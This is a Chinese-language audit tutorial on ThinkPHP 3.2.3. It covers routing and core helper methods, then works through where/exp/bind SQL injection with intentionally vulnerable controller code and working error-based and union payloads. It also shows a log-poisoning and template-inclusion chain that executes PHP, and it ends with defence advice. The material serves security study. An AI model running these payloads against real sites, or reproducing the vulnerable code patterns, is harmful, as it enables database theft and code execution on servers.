简记一次Tp3框架审计之旅
字数 1540 2025-08-11 17:40:05
ThinkPHP 3.2.3 框架审计与漏洞分析教学文档
一、MVC框架基础
1. MVC架构概述
- Model(模型): 负责业务数据处理和数据库交互
- View(视图): 提供数据展示方式
- Controller(控制器): 处理用户请求和业务逻辑
2. ThinkPHP框架目录结构
www/ # WEB部署目录
├── index.php # 入口文件
├── Application/ # 应用目录
├── Public/ # 资源文件目录
└── ThinkPHP/ # 框架核心目录
├── Common/ # 核心公共函数
├── Conf/ # 核心配置
├── Lang/ # 核心语言包
├── Library/ # 框架类库
│ ├── Think/ # 核心类库
│ ├── Behavior/ # 行为类库
│ └── Org/ # Org类库
├── Mode/ # 应用模式
├── Tpl/ # 系统模板
└── ThinkPHP.php # 框架入口
二、路由模式详解
1. Pathinfo模式(默认)
格式:http://网址/index.php/模块/控制器/操作方法/参数/参数值
示例:http://127.0.0.1/index.php/Home/Index/index/id/2
2. 普通模式
格式:http://网址/index.php?m=模块&c=控制器&a=方法&参数=值
示例:http://127.0.0.1/index.php?m=Home&c=index&a=index&id=1
3. 兼容模式
格式:http://网址/index.php?s=/模块/控制器/方法/参数/值
示例:http://127.0.0.1/index.php?s=Home/index/index/id/33
4. Rewrite模式
配置步骤:
- 开启Apache的rewrite模块
- 创建
.htaccess文件:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]
</IfModule>
格式:http://网址/模块/控制器/操作方法/参数/值
示例:http://127.0.0.1/Home/index/index/id/2
三、核心方法解析
1. I方法 - 安全输入
格式:I('变量类型.变量名/修饰符',[默认值],[过滤方法],[额外数据源])
示例:
I('get.id'); // 等效$_GET['id']
I('get.id', 0); // 默认值0
I('get.name', '', 'htmlspecialchars'); // 过滤XSS
2. M方法 - 模型实例化
格式:M('[基础模型名:]模型名','表前缀','数据库连接')
示例:$User = M('User'); // 等效new Model('User')
3. C方法 - 配置管理
示例:
C('URL_MODEL'); // 读取配置
C('USER_TYPE', 1); // 设置配置
四、SQL注入漏洞分析
环境配置
- 创建数据库
thinkphp和表users(id,username,passwd) - 配置
Application/Home/Conf/config.php:
return array(
'DB_TYPE' => 'mysql',
'DB_HOST' => 'localhost',
'DB_NAME' => 'thinkphp',
'DB_USER' => 'root',
'DB_PWD' => 'root',
'DB_PORT' => 3306,
'DB_PREFIX' => '',
'DB_CHARSET'=> 'utf8',
'DB_DEBUG' => TRUE
);
1. Where注入
漏洞代码:
public function select() {
$id = I('get.id');
$user = M('users');
$data = $user->find($id);
var_dump($data);
}
Payload示例:
/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
/index.php/home/index/select?id[where]=0 union select user(),2,3
漏洞原理:
I()方法过滤有限,仅过滤:EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|BETWEEN|NOT IN|INfind()方法未充分过滤输入,直接拼接SQL
2. Exp注入
漏洞代码:
public function select() {
$map = array('id'=>$_GET['id']);
$user = M('users');
$data = $user->where($map)->find();
var_dump($data);
}
Payload:
/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
漏洞原理:
- 绕过
I()方法直接使用$_GET exp操作符直接拼接SQL语句
3. Bind注入
漏洞代码:
public function select() {
$User = M("users");
$user['id'] = I('id');
$data['passwd'] = I('passwd');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
Payload:
/index.php/home/index/select?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&passwd=1
最终SQL:
UPDATE `users` SET `passwd`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)
五、命令执行漏洞分析
环境配置
- 控制器代码:
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
- 创建模板文件:
ThinkPHP/Application/Home/View/Index/index.html
漏洞利用步骤
- 生成恶意日志:
/ThinkPHP/index.php?m=--><?=phpinfo();?>
- 包含日志文件:
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_18.log
漏洞原理
assign()方法覆盖模板变量display()方法加载模板时未充分验证路径extract()函数覆盖$_filename变量- 最终通过
include包含恶意日志文件
六、防御建议
-
SQL注入防御:
- 严格使用
I()方法并指定过滤函数 - 使用预处理语句
- 避免直接拼接SQL
- 严格使用
-
命令执行防御:
- 禁用危险函数如
extract() - 严格校验模板文件路径
- 关闭调试模式生产环境
- 禁用危险函数如
-
通用安全措施:
- 及时更新框架版本
- 最小权限原则配置数据库
- 启用日志审计
七、参考资源
- ThinkPHP官方手册
- SQL注入防护指南
- PHP安全编程最佳实践